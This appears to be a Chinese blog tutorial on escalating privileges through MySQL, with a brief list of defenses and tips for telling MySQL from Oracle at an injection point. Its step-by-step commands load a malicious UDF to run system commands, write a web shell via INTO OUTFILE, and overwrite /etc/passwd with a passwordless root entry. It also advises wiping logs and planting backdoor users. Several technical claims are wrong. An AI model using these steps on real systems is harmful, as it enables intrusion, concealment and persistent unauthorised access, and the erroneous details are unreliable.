MySql提权
MySQL 提权是指通过利用 MySQL 数据库的漏洞或配置不当,从普通用户权限提升到更高权限(如管理员权限或系统权限)的过程。
1. 提权前提条件
获取 MySQL 访问权限:拥有 MySQL 的普通用户账号和密码。
MySQL 版本信息:了解目标 MySQL 的版本,以便选择合适的提权方法。
数据库配置信息:了解 MySQL 的安装路径、配置文件位置、运行权限等。
2. 常见提权方法
2.1 利用 UDF(用户定义函数)提权
原理:
MySQL 支持用户定义函数(UDF),通过加载自定义的动态链接库(.so 或 .dll)来执行系统命令。
如果 MySQL 以高权限(如 root)运行,可以利用 UDF 执行系统命令,从而提权。
步骤:
1、检查 MySQL 插件目录:SHOW VARIABLES LIKE 'plugin_dir';
2、上传恶意 UDF 文件(如 lib_mysqludf_sys.so 或 lib_mysqludf_sys.dll)到插件目录。
3、创建 UDF 函数:CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
4、执行系统命令:SELECT sys_exec('whoami');
2.2 利用写文件功能提权
原理:
如果 MySQL 用户具有 FILE 权限,可以将查询结果写入文件。
通过写入恶意文件(如 Web Shell 或计划任务),实现提权。
步骤:
1、检查用户权限:SELECT user, file_priv FROM mysql.user WHERE user = '当前用户';
2、写入 Web Shell:SELECT '' INTO OUTFILE '/var/www/html/shell.php';
3、 访问 Web Shell,执行系统命令。
2.3 利用 MySQL 漏洞提权
原理: 利用 MySQL 的历史漏洞(如 CVE-2016-6662、CVE-2016-6663)提权。
步骤:
检查 MySQL 版本是否受漏洞影响。
使用漏洞利用工具(如 mysql-exploit.py)提权。
2.4 利用 MySQL 运行权限提权
原理:如果 MySQL 以 root 权限运行,可以通过执行系统命令提权。
步骤:
检查 MySQL 运行权限: ps aux | grep mysql
如果以 root 运行,尝试执行系统命令:! whoami
2.5 利用 MySQL 日志文件提权
原理:通过修改 MySQL 日志文件路径,将日志写入敏感位置(如 /etc/passwd),实现提权。
步骤:
1、修改日志文件路径:SET GLOBAL general_log_file = '/etc/passwd';
2、写入恶意内容:SET GLOBAL general_log = 'ON';
SELECT 'root::0:0:root:/root:/bin/bash' INTO OUTFILE '/etc/passwd';
3. 提权后的操作
获取系统权限:通过 UDF 或 Web Shell 执行系统命令,获取系统权限。
清理痕迹:删除上传的恶意文件,清理日志文件。
维持权限:创建后门用户或计划任务,维持对系统的访问权限。
4. 防护措施
限制 MySQL 权限:避免使用 root 权限运行 MySQL。限制用户的 FILE 权限。
更新 MySQL 版本:及时更新 MySQL 到最新版本,修复已知漏洞。
禁用 UDF:
在配置文件中禁用 UDF 功能:[mysqld] allow-suspicious-udfs = 0
日志监控:监控 MySQL 日志,发现异常行为。
5. 工具推荐
UDF 提权工具:lib_mysqludf_sys.so 或 lib_mysqludf_sys.dll。
漏洞利用工具:mysql-exploit.py(用于 CVE-2016-6662 和 CVE-2016-6663)。
Web Shell 工具:AntSword、China Chopper。
- 如何判断是mysql还是oracle数据库
1、基于报错信息判断
2、基于特定函数判断
mssql与mysql以及db2中返回长度值是调用len()函数;oracle是通过length()来返回长度值。
mysql用@@version或是version()来返回当前版本信息。
mysql与mssql可以调用substr、substring。oracle只能调用substr。
3、基于辅助符号来判断
/*是mysql中的注释符,返回错误说明该注入点不是mysql。
--是oracle和mssql支持的注释符,返回正常,可能是其一。
;是子句查询标识,oracle不支持多行查询,返回错误可能是oracle。
4、基于网站语言来判断
PHP——Mysql;ASP、.NET——SQLServer、Java——oracle、Python——Mysql、PostgreSQL和MongoDB;
5、基于编码查询来判断
Mysql大小写敏感,oracle不敏感。
本文作者:予遂计划
本文链接:https://www.cnblogs.com/ysjh/p/18713936
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步